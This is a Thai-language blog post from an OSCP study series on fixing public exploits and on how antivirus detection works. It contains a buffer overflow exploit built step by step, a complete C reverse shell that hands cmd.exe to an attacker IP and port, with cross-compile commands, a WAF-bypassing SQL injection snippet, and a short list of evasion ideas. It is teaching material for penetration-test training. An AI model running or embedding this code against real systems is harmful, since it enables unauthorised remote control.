My 2025 OSCP Journey Part 6 : Antivirus Evasion
Introduction
สวัสดีคุณผู้อ่านทุกท่านครับ
ยินดีต้อนรับทุกท่านกลับเข้าสู่ Blog series ของผมอีกครั้ง หลังจากที่ Part ที่แล้ว เราได้พูดถึงเรื่อง การโจมตีโดยการใช้ Public Exploit โดยครอบคลุมทั้งข้อควรระวัง เครื่องมือต่างๆทั้งแบบ Online และ Offline และความรู้พื้นฐานทั้งหมดเกี่ยวกับ Phishing
สำหรับคุณผู้อ่านท่านใดที่หลงเข้ามาใน Part นี้เป็นที่แรกและอยากจะทราบถึงเรื่องราวที่ผ่านมา ตัวผมนั้นภูมิใจและแนะนำเป็นอย่างยิ่ง ที่จะให้คุณผู้อ่านได้อ่าน Part 1 และ Part ก่อนหน้าอื่นๆก่อน เป็นการเริ่มต้น ตาที่อยู่ Link นี้เลยครับ: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-1 และ Welcome to My Journey ครับผม
ใน Part ที่ 6 นี้เราจะพูดถึงเรื่องขั้นตอนเชิงเทคนิคต่อๆไปหลังจากที่เราได้รู้จักกับการโจมตีโดยการใช้ Public Exploit เครื่องมือต่างๆทั้งแบบ Online และ Offline และความรู้พื้นฐานทั้งหมดเกี่ยวกับ Phishing ซึ่งเช่นเดิม ตัวผมนั้นยินดีเป็นอย่างยิ่งที่จะเล่าให้ฟังครับ เพื่อไม่เป็นการเสียเวลาไปมากกว่านี้ เพราะฉะนั้น Enjoy ครับ
Fixing Exploits
หลังจากที่คุณผู้อ่านได้ทราบและเข้าใจถึงเรื่องของ Public Exploit จาก Part ที่แล้วแล้วนั้น ข้อมูลเพิ่มเติม: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-5 ก็จะทราบได้ว่า หากเราต้องการที่เขียนหรือสร้าง Exploit ขึ้นมาเองนั้น เป็นเรื่องที่ซับซ้อนและกินเวลาเป็นอย่างมากและยังต้องใช้ความรู้ความเข้าใจในด้าน Memory Corruption, Network Protocols, ช่องโหว่บนเว็บแอปพลิเคชัน และอื่นๆเป็นอย่างมาก
แต่อย่างไรก็ดี ก็ต้องเข้าใจด้วยว่าในสถานการณ์จริงส่วนมากแล้ว Public Exploit นั้นมักจะไม่สามารถใช้งานได้จริงเนื่องจาก:
- ความแตกต่างของสภาพแวดล้อมของเป้าหมาย(เวอร์ชันของ OS, รูปแบบของ Memory, และอื่นๆ)
- ปัจจัยหรือตัวแปรที่ไม่คงที่ในการ Exploit(อาทิเช่น Socket Details, Buffer Size, Memory Offsets)
- Payload ที่ล้าสมัยซึ่งไม่สามารถใช้เพื่อหลบหลีกระบบความปลอดภัยได้แล้ว
- ระบบความปลอดภัยที่ทันสมัย(อาทิเช่น DEP, ASLR, WAF)
โดยที่ทางออกหรือวิธีแก้ปัญหานี้ที่ดีที่สุดนั่นคือ การแก้ Public Exploit ที่มีอยู่เพื่อให้เหมาะกับการใช้งานต่อสภาพแวดล้อม โครงสร้าง และ ระบบการป้องกันของเป้าหมาย
Fixing Memory Corruption Exploit(การแก้ Exploit เพื่อโจมตีแบบ Memory Corruption)
โดยที่เราจะเริ่มกันที่ Exploit ที่จะขัดขวางหรือก่อกวนการทำงานของหน่วยความจำหรือ Memory Corruption นั่นเอง โดยที่จุดประสงค์ของบทนี้(Fixing Memory Corruption Exploit)คือ:
-
ทำความเข้าใจทฤษฎีการทำงาน และวิธีการของ Buffer Overflow
-
วิธีการหาจุด Overflow หรือOffsets
-
วิธีการแก้ไขReturn Address, Payload,และ Buffer Sizes
-
การ Exploit แบบ Cross-Compileสำหรับโครงสร้างหรือ Architectureของเป้าหมายที่ต่างกัน
-
Understanding Buffer Overflows: เกิดอะไรขึ้นภายในหน่วยความจำ
Buffer overflow นั้นเกิดขึ้นเมื่อโปรแกรมทำการเขียนข้อมูลเข้าไปใน Buffer (ที่เก็บ Memory ที่มีขนาดจำกัด) มากกว่าที่มันควรจะเป็น ซึ่งทำให้เกิดการเขียนทับ Memory ที่อยู่ข้างเคียงหรือ Adjacent Memory ทำให้เกิดการ Corrupt ใน Return Address และอาจทำให้ผู้โจมตีสามารถสั่งการทำงานของ Code ได้
ซึ่งจากเหตุข้างต้น เราสามารถจำแนกปัญหาที่ทำให้เกิด Buffer Overflows ได้ 3 อย่าง:
- Lack of bound checking: ฟังก์ชันอย่าง strcpy() และ gets() นั้นไม่จำกัดขนาดของ Input
- Stack memory structure: ถ้าผู้โจมตีทำการเขียนทับ Return Address ได้ผู้โจมตีจะสามารถสั่งการทำงานของ Code ได้
- Absence of modern security mitigations: ถ้าโปรแกรมไม่มีการป้องกันอย่าง ASLR(Address Space Layout Randomization) หรือ DEP (Data Execution Prevention) จะเป็นการง่ายอย่างมากที่ผู้โจมตีจะทำการโจมตี
ตัวอย่าง Code ภาษา C ที่มีช่องโหว่:
#include<stdio.h>
#include<string.h>
void vulnerable_function(char*input){
charbuffer[64]; // buffer ที่มีขนาดจำกัด strcpy(buffer, input); // Line6, ไม่มีการตรวจสอบ bound printf("Hello, %s\\n", buffer);
}
int main(intargc, char*argv[]){
if(argc < 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
return 0;
}
Codeblock 1: ตัวอย่าง Code ภาษา C ที่มีช่องโหว่ Buffer Overflow
Code นี้มีปัญหาอย่างไร?:
- Line 6 มีการเรียกใช้ฟังก์ชัน strcpy() โดยที่ไม่มีการตรวจสอบขนาดของ Input
- หากผู้โจมตีใส่ Input มากกว่า 64 bytes ผู้โจมตีสามารถที่จะเขียนทับ Memory ข้างเคียงได้
- Return Address อาจถูกแทนที่ด้วย Shellcode วิธีการแก้ไข:
- ทำการแทนที่ strcpy(buffer, input) ด้วย strncpy(buffer, input, sizeof(buffer) -1); //เป็นการจำกัดขนาด Input นั่นเอง
Import and Examining the Exploit
หลังจากที่เราเข้าใจถึงการทำงานคราวๆของ Buffer Overflow แล้วนั้นก็มาขั้นถัดไป ก่อนที่เราจะทำการแก้ Exploit นั้นเราจำเป็นที่จะต้องเข้าใจถึงโครงสร้างและขั้นตอนการทำงานของ Exploit นั้นๆก่อน
ตัวอย่างการตรวจสอบ Exploit:
import socket
target_ip = "192.168.1.100"
target_port = 9999
payload = b"A"* 1024 # ทำการส่ง character "A"1024 characters
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
s.close()
Codeblock 2.1: ตัวอย่าง Public Buffer Overflow Exploit
Code นี้มีปัญหาอย่างไร?:
- ขนาดของ Buffer(1024 bytes) อาจไม่เข้ากับเงื่อนไขของเป้าหมายที่จะทำการเจาะ
- ไม่มี Return Address ทำให้ Exploit ไม่สามารถใช้งานได้
- หากระบบของเป้าหมายเปิดการใช้งาน ASLR(Address Space Layout Randomization) Return Address อาจจำเป็นต้องทำงานแบบ Dynamic วิธีการแก้ไข:
- หาค่า Offsetที่ถูกต้อง
หนึ่งในวิธีการที่จะหาขนาดของ Buffer เพื่อให้เกิดการเขียนทับ Return Addressได้นั้น เราสามารถสร้างรูปแบบที่เป็นเอกลักษณ์หรือ Unique Patternโดยใช้เครื่องมือmsf-pattern_createและระบุตำแหน่งOffset โดยใช้ msf-pattern_offset
Generate a Unique Pattern
- แทนที่เราจะทำการส่ง Character “A” ไป เราเลือกที่จะส่ง Characterที่เป็น Unique Patternที่ระบุขนาด(1024) เพื่อหาตำแหน่ง Return Address ที่ถูกเขียนทับ
kali@kali:~$ msf-pattern_create -l 1024
//Output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4...(Length:1024)
- ทำการแทนที่ Payload ด้วย Pattern ใน Codeblock 2.1
import socket
target_ip = "192.168.1.100"
target_port = 9999
pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4..." # Generated pattern
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(pattern)
s.close()
Codeblock 2.2: ตัวอย่าง Public Buffer Overflow Exploit ที่ถูกแทนที่ Payload
- ระบุ Offset
- หลังจากสั่งการทำงาน Code ข้างต้น Exploit ทำให้แอปพลิเคชัน Crash หรือทำงานผิดปกติ ขั้นต่อไปคือทำการหาค่า Return Address ที่ถูกเขียนทับ(EIP)ผ่านเครื่องมือ Debuggerต่างๆ(อาทิเช่น gdb, radare2 หรือ Immunity Debugger)
(ข้อมูลเพิ่มเติม: EIP หรือ Extended Instruction Pointer คือ Register ที่ไว้ใช้ระบุค่า Memory Address หรือตำแหน่งของ Instruction ต่อไปที่ต้องทำงาน)
Figure 1: ตัวอย่างค่า EIP
โดยในสถานการณ์ตัวอย่างนี้เราจะยกตัวอย่างค่าเป็น:
eip 0x39654138 0x39654138 //EIP = 39654138
และเมื่อได้ค่าEIPมา ทำการใช้ msf-pattern_offset เพื่อหา Offsetที่ถูกต้อง:
kali@kali:~$ msf-pattern_offset -q 39654138 -l 1024
โดยที่คำสั่งจะทำการหาและคืนค่า Offsetมาให้:
[+] Exact match at offset 524
จาก Output ทำให้เราทราบได้ว่า Return Addressนั้นถูกเขียนทับที่ตำแหน่ง Offset 524
- แก้ Exploit
- โดยเราจะทำการแก้ Exploit ให้:
- ส่ง Character “A” 524 Charactersเพื่อเติม Bufferให้เต็ม
- เขียนทับ Return Addressด้วย Controlled Value
- แนบ Shellcode เพื่อสั่งการทำงานคำสั่งบนเครื่องของเป้าหมาย
import socket
target_ip = "192.168.1.100"
target_port = 9999
offset = 524
junk = b"A"* offset
return_address = b"\\xB0\\x12\\x50\\x62" # ตัวอย่าง return address (ซึ่งสามารถหาได้โดยใช้ ROP gadgets หรือ \`!mona find -r esp\`)
nop_sled = b"\\x90"* 16 # ใช้ Small NOP sled เพื่อป้องกันการ crashes
shellcode = b"\\xcc"* 50 # ตัวอย่าง shellcode (breakpoint ใน debugger)
payload = junk + return_address + nop_sled + shellcode # โครงสร้างใหม่ของ payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
s.close()
Codeblock 2.3: ตัวอย่าง Public Buffer Overflow Exploit ที่ถูกแก้ พร้อมใช้งาน
โดยที่ขั้นตอนดังกล่าวทำให้ Public Buffer Overflow Exploit ใช้งานได้กับเงื่อนไขของเป้าหมายที่เราต้องการโดยมุ่งเน้นไปที่การสั่งงานคำสั่งหรือ Code โดยไม่ได้รับอนุญาต
Cross-Compiling Exploit Code
นอกจากการแก้ค่าภายใน Exploit ให้เข้ากับเงื่อนไขของเป้าหมายเราแล้วนั้น ในการทดสอบการเจาะระบบนั้นการเขียนหรือแก้Exploit ที่สามารถใช้งานได้กับ Operating Systemนึงอาจไม่ได้หมายความว่า Exploit นั้นสามารถใช้งานได้กับทุก Operating Systemซึ่งทำให้เกิดปัญหาอาทิเช่น:
- Public Exploits หลายๆอันนั้นถูกสร้างขึ้นมาเพื่อระบบปฏิบัติการ Linux หรือLinux OS แต่ว่าสภาพแวดล้อมหรือปัจจัยต่างๆอาทิเช่น ระบบ หรือ APIs ของ Windows OSนั้นอาจไม่เหมือนกัน
- อุปกรณ์ IoT, Routers, และระบบ Embedded นั้นมักถูกใช้งานใน Architecture อย่าง ARMหรือ MIPSซึ่งทำให้ ไฟล์ x86 Binary นั้นใช้งานไม่ได้
- บางกรณีในการ Exploit เป้าหมายนั้นต้องการรูปแบบการ Compile ที่สามารถหลบหลีกระบบความปลอดภัยในระดับ OS-Level
ด้วยเหตุเหล่านี้จึงทำให้การ Cross-Compiling นั้นจำเป็น แทนที่จะทำการสร้างและ Compile Exploit เพื่อเป้าหมายโดยเฉพาะ เราสามารถประหยัดเวลาและทรัพยากรได้โดยการใช้ Cross-Compiler เพื่อ Compile ไฟล์ Binary เพื่อให้เข้ากับเงื่อนไขของเป้าหมายนั้นๆได้(อาทิเช่นการ Compile ไฟล์ Executable สำหรับ Windows OS จาก เครื่องที่ใช้ Linux OS)
และยังมีเหตุจำเป็นอื่นที่พบได้บ่อยอย่าง:
- Exploit ที่ถูกเขียนขึ้นสำหรับ Linux OS นั้นมักจำเป็นต้องถูก Portไปยังเป้าหมายที่เป็น Windows OSอยู่บ่อยครั้ง
- Windows Binariesนั้นต้องการการเรียกฟังก์ชัน WinAPIซึ่งไม่สามารถทำได้จาก Linux-Native Binariesนั่นเอง
โดยหลังจากที่เราได้ทราบและเข้าใจถึงความสำคัญและจำเป็นของ Cross-Compiling แล้วนั้น ในเนื้อหาส่วนนี้เราจะเรียนรู้และใช้เครื่องมือ Compiler ที่ได้รับความนิยมอย่างมากนั่นคือ mingw-w64 เนื่องด้วย MinGW-w64 นั้นสามารถ Cross-Compiling Windows Binaries จาก Linuxได้นั่นเอง
เริ่มจากขั้นแรก เนื่องด้วย Kali Linux นั้นไม่ได้มีเครื่องมือนี้โดยพื้นฐานจึงจำเป็นอย่างยิ่งในการ Install เครื่องมือหรือ Compiler นี้ก่อน:
kali@kali:~$ sudo apt install mingw-w64
- ตัวอย่างการใช้ MinGW-w64 ในการ Cross-Compile Exploit สำหรับ Windows OS
เพื่อการ Cross-Compile ให้ได้ Exploit ที่ใช้ได้กับ Windows จากเครื่องที่ทำงานโดยLinux OSนั้นเราสามารถใช้MinGW-w64 ซึ่งมีฟังก์ชันi686-w64-mingw32-gcc(สำหรับ 32-bit) และ x86_64-w64-mingw32-gcc(สำหรับ 64-bit)
โดยที่ผมจะยกตัวอย่างสถานการณ์ขึ้นมาว่า ตอนนีัเรามี Exploit ภาษา Cที่มีไว้เพื่อสร้าง Reverse shell ที่จะเชื่อมต่อกลับมาหาเครื่องของผู้โจมตี:
#include<stdio.h>
#include<winsock2.h>
#pragmacomment(lib,"ws2_32.lib") // Link กับ ws2_32.lib
#defineTARGET_IP "192.168.1.100"
#defineTARGET_PORT 4444
void reverse_shell(){
WSADATA wsa;
SOCKET s; structsockaddr_inserver;
char*cmd = "cmd.exe";
WSAStartup(MAKEWORD(2, 2), &wsa);
s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); // Line 16 server.sin_family = AF_INET;
server.sin_port = htons(TARGET_PORT);
server.sin_addr.s_addr = inet_addr(TARGET_IP);
if(connect(s, (struct sockaddr *)&server, sizeof(server)) == 0) { // Line 21 STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
}
WSACleanup();
}
int main(){
reverse_shell();
return 0;
}
Codeblock 3: ตัวอย่าง Exploit Reverse Shell ภาษา C
คำอธิบาย Exploit:
- สร้าง Reverse Shell จากเป้าหมาย
- ใช้ WSASocket(Line 16) และ connect(Line 21) เพื่อเชื่อมต่อกลับมาหาเครื่องของผู้โจมตี(IP:192.16.1.100:4444[Port])
- เปิดcmd.exeและ Redirect Input/Outputไปยังการควบคุมของผู้โจมตี
Compiling the Exploit for Windows
และเมื่อเรามี Exploit แล้ว ขั้นต่อไปคือการ Cross-Compile Exploit นี้จากเครื่อง Linux ให้เป็น Binary ที่ใช้งานได้กับ Windows หรือ Windows-compatible executable โดยการใช้ i686-w64-mingw32-gcc(สำหรับ 32-bit Windows binaries) และ x86_64-w64-mingw32-gcc(สำหรับ 64-bit Windows binaries)
- 32-bit Windows Binary Compatible
kali@kali:~$ i686-w64-mingw32-gcc-o exploit.exe exploit.c -lws2_32
- 64-bit Windows Binary Compatible
kali@kali:~$ x86_64-w64-mingw32-gcc-o exploit.exe exploit.c -lws2_32
คำอธิบายคำสั่ง:
- -o exploit.exe => ตั้งชื่อไฟล์ Output
- exploit.c => ไฟล์ Exploit
- -lws2_32 => เชื่อมต่อกับ Windows Sockets Library(ws2_32.lib)ซึ่งต้องการฟังก์ชัน Network(WSASocket, connect)
ตรวจสอบไฟล์
โดยที่เราสามารถตรวจสอบไฟล์ Binary ได้ว่าเป็นไฟล์สำหรับ Architecture อะไรโดยคำสั่ง:
kali@kali:~$ file exploit.exe
ผลของคำสั่ง:
exploit.exe: PE32 executable(console) Intel 80386, for MS Windows
จากผลเรายืนยันได้ว่าไฟล์ที่ Compile ออกมานี้เป็น Windows Portable Executable(PE)
Changing the Overflow Buffer
ซึ่งในบางกรณีเราอาจจำเป็นที่จะต้องแก้หรือเปลี่ยนโครงสร้างของ Bufferเนื่องจาก:
- บาง Exploit ต้องการเทคนิค NOP sleds (\x90\x90\x90) เพื่อ Execution
- Encoded Shellcode หรือ Shellcode ที่เข้ารหัสอาจต้องการการแก้พิเศษ
- ระบบของเป้าหมายอาจใช้ Layoutรูปแบบ หรือโครงสร้าง ของMemoryที่ต่างออกไป
ตัวอย่างการแก้ Buffer ที่ใช้เทคนิค NOP sleds:
payload = b"\\x90"* 16 # NOP sled
payload += b"A"* offset
payload += b"\\xB0\\x10\\xA4\\x68" # return address ใหม่
payload += shellcode # shellcode ที่เป็นอันตราย
ทำไมถึงใช้ NOP sleds?:
- NOP sleds นั้นทำให้มั่นใจได้ว่าการ Execute จะเกิดขึ้นในตำแหน่งที่ถูกต้องก่อนที่ Shellcode จะทำงาน
(เพิ่มเติม: NOP sledsเป็นการแทรกNOP(\x90)ไว้ที่จุดเริ่มต้นของส่วน Codeที่ต้องการโจมตีและแทรกShellcode ไว้ด้านหลัง NOPเพื่อกำหนดตำแหน่ง Execute ที่ต้องการ)
Fixing Web Exploit(การแก้ Exploit เพื่อโจมตีบนเว็บ)
นอกจากการแก้ Exploitเพื่อทำการโจมตีแบบ Memory Corruptionแล้วนั้นยังมีการแก้ Exploit เพื่อโจมตีบนเว็บอีกด้วย โดยที่จุดประสงค์ของบทนี้คือ:
- ทำความเข้าใจการทำงานของเว็บ Exploitและวิธีการแก้
- การแก้ไขปัญหาที่พบได้บ่อยใน Exploit เว็บแอปพลิเคชัน
Considerations and Overview
ก่อนที่เราจะทำการแก้เว็บ Exploit นั้น มีหลายๆปัจจัยที่ต้องคำนึงถึง:
-
ประเภทการเชื่อมต่อ:
- การเชื่อมต่อนั้นเป็นHTTPหรือHTTPS?
- การSelf-signed Certificateนั้นจะก่อปัญหาหรือไม่?
-
Path และ Authentication หรือระบบการยืนยันสิทธิ์การเข้าถึงของเป้าหมาย:
- Exploit ที่เลือกใช้นั้นทำงานก่อนการยืนยันสิทธิ์การเข้าถึงหรือไม่?
- แล้วถ้าระบบต้องการยืนยันสิทธิ์การเข้าถึง Exploit จะรับมืออย่างไร?
-
ประเภทและ Header ของ Request:
- Exploit ทำงานผ่านRequest ประเภท GET, POST,หรือ ประเภทอื่นๆ?
- เว็บเซิร์ฟเวอร์นั้นต้องการ Custom Header หรือไม่?
Selecting the Vulnerability and Fixing the Code
โดยผมขอยกตัวอย่างสถานการณ์ขึ้นมาเพื่อให้เห็นภาพมากยิ่งขึ้น:
โดยที่ในสถานการณ์นี้นั้นเรามี Public SQL injection Exploit แต่ไม่สามารถใช้งานได้เนื่องจากติดปัญหาที่เกิดจาก Web Application Firewall(WAF)
ปัญหาที่พบ:
- Exploit ที่มีใช้ SQL injection syntax แบบมาตรฐานจึงทำให้WAF ตรวจจับเจอ
- เว็บแอปพลิเคชันมีระบบการป้องกัน CSRF
ทำการแก้ Exploit:
- ทำการเข้ารหัส Payload(Encode)เพื่อหลบหลีกการตรวจจับจาก WAF
- แก้ Header ของ Request ให้มี Session Tokensที่ใช้งานได้
ตัวอย่าง Web Exploit ที่ถูกแก้:
import requests
import urllib.parse
target_url = "http://192.168.1.100/admin"
payload = {"username": "admin", "password": urllib.parse.quote("' OR 1=1 --")}
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0", "Referer": target_url})
response = session.post(target_url, data=payload)
print(response.text)
Codeblock 4.1: ตัวอย่าง Web Exploit ที่ถูกปรับ Payload และ Session Token
Troubleshooting the “Index out of range” Error
และหลังจากที่เราทำการแก้ Exploit และใช้งานเราได้รับข้อความแจ้งเตือนความผิดปกติหรือ Errorว่า “Index out of range” จากการตอบกลับจากเซิร์ฟเวอร์
-
สาเหตุที่เป็นไปได้ที่ทำให้เกิด Error:
- Exploit ไม่สามารถ Handle รูปแบบของ Response จากเป้าหมายได้
- แอปพลิเคชันใช้ชื่อ Field ไม่เหมือนกับใน JSON response
-
ทำการแก้ Exploitอีกครั้ง:
- ทำการตรวจสอบโครงสร้าง รูปแบบของ Response ก่อนใช้งาน
- ใช้ Error Handling เพื่อป้องการการ Crash หรือการทำงานล้มเหลวของระบบ
ตัวอย่าง Web Exploit ที่ถูกแก้อีกครั้ง:
import requests
response = requests.get("http://192.168.1.100/api")
try:
json_data = response.json()
print(json_data["user"]["id"])
except KeyError:
print("Error: Response format has changed.")
Codeblock 4.2: ตัวอย่าง Web Exploit ที่เพิ่ม Error Handling
Antivirus Evasion
Antivirus (AV) นับได้ว่าเป็นทางออกที่ถูกออกแบบมาเพื่อ ตรวจจับป้องกันและทำลายซอฟต์แวร์ที่เป็นอันตรายจากคอมพิวเตอร์และเครือข่ายแต่อย่างไรก็ดี ผู้โจมตียังคงคอยพัฒนาและคิดวิธีหรือหนทางใหม่ๆในการหลบหลีกระบบความปลอดภัยต่างๆ
และในมุมมองของนักทดสอบการเจาะระบบนั้น นับเป็นเรื่องที่สำคัญอย่างยิ่งที่จะต้องเข้าใจถึงการทำงานของซอฟต์แวร์ Antivirus อย่างทะลุปลุโปร่ง และรวมถึงการเข้าใจในวิธีการและเทคนิคต่างๆในการหลบหลีกระบบความปลอดภัยของผู้โจมตี ซึ่งจะทำให้เรานั้นสามารถ:
- จำลองการโจมตีได้เหมือนกับผู้โจมตีจริงๆเพื่อประเมินระบบความมั่งคงปลอดภัยขององค์กร
- ช่วยองค์กรพัฒนาระดับความปลอดภัยขององค์กรนั้นๆเพื่อพร้อมที่จะรับมือกับเทคนิคการหลบหลีก AV ใหม่ๆตลอดเวลา
- เข้าใจถึงวิธีการตรวจจับ Threat ต่างๆในเชิงลึก (Signature-Based, Heuristic, Behavioral, และ Machine-Learning-Based)
(เพิ่มเติม: คำว่าThreatในบริบทนี้นั้นหมายถึงภัยคุกคามต่างๆอาทิเช่น Virus, Malware, และอื่นๆ)
โดยที่ในบทนี้เราจะมาทำความเข้าใจในเรื่อง:
- Antivirus Software ทำการตรวจจับ Threat ได้อย่างไร?
- ผู้โจมตีทำการหลบหลีก Antivirus Detection อย่างไร?
Antivirus Software Key Components and Operations(วิธีการทำงานและส่วนประกอบของ Antivirus)
หลังจากที่เราได้ทราบถึงว่า Antivirus หรือ AVคืออะไรไปแบบคร่าวๆแล้วนั้น ต่อไปเราจะเริ่มทำการเจาะลึกลงไปถึงวิธีการทำงานและส่วนประกอบต่างๆของ Antivirus
Known vs Unknown Threats
โดยเราจะเริ่มกันที่ Known และ Unknown Threat หรือ Threat ที่รู้จักและไม่รู้จัก เนื่องด้วยโดยปกติแล้วซอฟต์แวร์ Antivirus นั้นจะทำการจำแนกประเภทของ Threat ออกเป็น 2 ประเภทคือ Known และ Unknownซึ่งจะขึ้นอยู่กับวิธีการตรวจจับที่ใช้
- Known Threats (Signature-Based Detection)
- Threat ที่รู้จักอยู่แล้วนั้นคือ Malware หรือ Threat ต่างๆที่มีการค้นพบเป็นที่เรียบร้อยและมีการเก็บข้อมูลของ Threat นั้นๆไว้ใน Antivirus Databaseไว้ในรูปแบบ Signature ของ Threat นั้นๆ
- โดยที่เมื่อมีการสแกนไฟล์โดย Antivirus นั้นตัว Antivirus จะทำการเทียบ Signatureของไฟล์นั้นๆกับ Signature ของ Threat ที่อยู่ใน Database
- ซึ่ง Signature นั้นจะมีทั้งที่อยู่ในรูปแบบของ SHA256 Hashesของไฟล์, โครงสร้างของไฟล์, และ ลำดับหรือรูปแบบของ Byteของไฟล์นั่นเอง
- และเราสามารถทำการตรวจสอบไฟล์แบบ Known Threatด้วย Signature เองได้ผ่าน VirusTotal ตัวอย่าง:
kali@kali:~$ sha256 sumnot_malware.exe
// Mock-up Output
>e99a18c428cb38d5f260853678922e03abcd1234f9a7de7a5bdf1d7c9cfd2372
// sha256 Hashes หรือ Signature ของ not_malware.exe
ซึ่งเราสามารถนำ Signature นี้ไปค้นหาใน Database ของ Virustotal ได้นั่นเอง ซึ่งนอกจาก Signature แล้วเรายังสามารถอัปโหลดไฟล์ไปยัง VirusTotalเพื่อทำการตรวจสอบได้อีกด้วย
Figure 2.1: https://www.virustotal.com/gui/home/upload
และเมื่อนำ Signature ไปค้นหาใน VirusTotal หากไม่พบหน้าเว็บจะโชว์ผลดั่ง Figure 2.2:
Figure 2.2: เมื่อไม่พบ Signature ใน VirusTotal
แต่หากพบ Signature ที่ตรงกัน VirusTotal จะโชว์ข้อมูลของ Threat นั้นๆอาทิเช่นประเภทไฟล์ ขนาด Security Vendor’s analysis และ อื่นๆ
Figure 2.3: เมื่อพบ Signature ใน VirusTotal
-
Unknown Threats(Heuristic and Behavioral Detection)
- Antivirus นั้นอาจใช้การวิเคราะห์ Heuristicและพฤติกรรมหรือ Behaviorของไฟล์เพื่อการตรวจจับ Threat ที่ไม่มี Signature อยู่ใน Database
- โดยที่ Heuristic และ Behavior ของไฟล์นั้นอาจตรวจพบได้ผ่าน Algorithmของไฟล์นั้นๆ การขอสิทธิ์การเข้าถึงระบบไฟล์ มีการขอสิทธิ์การตอบโต้กับ Windows APIsหรือ พฤติกรรมที่ดูน่าส่งสัยไฟล์เหล่านั้นอาจถูกมองว่าเป็น Threat โดย Antivirus ทันที
- นอกจากนั้น การจัดการกับ Threat ที่ไม่รู้จักในสมัยใหม่ของ Windows Defender และ EDR(Endpoint Detection and Response)นั้นใช้ Machine Learning(ML) Model ในการตรวจสอบพฤติกรรมที่ผิดปกติอีกด้วย
-
ผู้โจมตีหลบหลีกการตรวจจับได้อย่างไร?
- ทำการปิดบัง Payloadด้วย Packerหรือ Encryption
- ใช้เทคนิคIndirect Executionหรือสั่งการทำงานทางอ้อมเพื่อหลบหลีกการตรวจจับจากพฤติกรรม
- แก้ Metadataของไฟล์เพื่อหลบหลีกการตรวจจับจากHash-based
AV Engines and Component
หลังจากที่เราทราบถึงประเภทและการรับมือกับ Threat พอสังเขปกันแล้ว ต่อมาเป็นการเรียนรู้ถึงองค์ประกอบสำคัญของ Antivirus ซึ่งประกอบไปด้วยหลายส่วนด้วยกัน
ส่วนประกอบ | ฟังก์ชั่น |
---|---|
File Engine | สแกนไฟล์ภายใน Disk เพื่อหา Known Threat Signature/Mini-Filter Driver |
Memory Engine | Monitors Processes เพื่อเฝ้าระวังการ Execute Malware ภายใน Memory |
Network Engine | ตรวจสอบ Network Traffic เพื่อหาการกระทำที่อาจเป็นอันตราย/ C2 |
Disassembler | วิเคราะห์ Binary Code เพื่อตรวจจับการปกปิด Payload |
Emulator/Sandbox | ทำการ Run ไฟล์ต้องสงสัยในพื้นที่ที่ถูกควบคุมและปลอดภัยและถูกแยกออกจากระบบหลักเพื่อวิเคราะห์พฤติกรรมของไฟล์ที่อาจเป็นอันตราย |
Browser Plugin | ตรวจจับสคริปต์ที่อาจเป็นอันตรายบนเว็บเพจ |
Machine Learning Engine | ใช้ AI / ML Model ให้การตรวจหา Threat |
-
Mini-Filter Driver:
- โดยในส่วนของ File Engineนั้นจะมีสิ่งที่เรียกว่า Mini-Filter Driverซึ่งเป็นส่วนประกอบของ Windows kernelที่จะคอยดักจับไฟล์ในระบบเพื่อทำการสแกนไฟล์นั้นๆก่อนจะมีการเปิดใช้งานไฟล์นั้นอีกด้วย
-
Command and Control (C2) Detection:
- ภายในส่วนของ Network Engineนั้น AVมีการเฝ้าระวังหรือ Monitor Network Trafficเพื่อตรวจจับการสื่อสารแบบ C2ที่ถูกใช้ในการทำRemote Malwareและ RATs(Remote Access Trojans) อีกด้วย
- นอกจากนั้นยังมี Firewall Rule,Network Logs, และ SIEM(Security Information and Event Management) ซึ่งค่อยตรวจจับ Trafficที่ต้องสงสัยอีกด้วย
Detection Methods
โดยจากเนื้อหาข้างต้นคุณผู้อ่านน่าจะพอทราบถึงวิธีการตรวจจับมาแล้วบ้าง ซึ่งในเนื้อหาส่วนนี้จะเหมือนเป็นการสรุปออกมาอีกทีเพื่อให้เข้าใจได้ง่ายขึ้นถึงวิธีการตรวจจับต่างๆของ Antivirus
วิธีการ | คำอธิบาย |
---|---|
Signature-Based Detection | ทำการเปรียบเทียบ Hash หรือ Signature ของไฟล์กับ Database ที่เก็บข้อมูล Threat ที่รู้จัก |
Heuristic-Based Detection | ใช้การวิเคราะห์เชิงเดี่ยวเพื่อตรวจหารูปแบบ หรือ Code Pattern ที่ถูกใช้เป็นปกติในไฟล์ Threat |
Behavioral Detection | Monitor หรือเฝ้าระวังการทำงานของไฟล์แบบ Real-time เพื่อตรวจจับหาพฤติกรรมที่ต้องสงสัย |
Machine Learning Detection | ใช้ AI หรือ ML ในการตรวจจับหา Threat โดยที่ทำการ Train Model จาก Threat ในอดีตที่เคยพบมาแล้ว(โดยใช้หลายๆปัจจัยมากกว่า Signature, Metadata, พฤติกรรม และอื่นๆ) |
-
ตัวอย่าง Behavioral Detection โดย Windows Defender:
- เมื่อโปรแกรมทำการเรียกใช้ฟังก์ชัน VirtualAllocEx(), WriteProcessMemory(), และ CreateRemoteThread() ตามลำดับ
- ซึ่งเงื่อนไขนี้นั้นนับว่าเป็นพฤติกรรมของ Malicious Process Injection ซึ่ง AV จะมองว่าเป็น Threat ทันที
-
ผู้โจมตีหลบหลีกการตรวจจับได้อย่างไร?
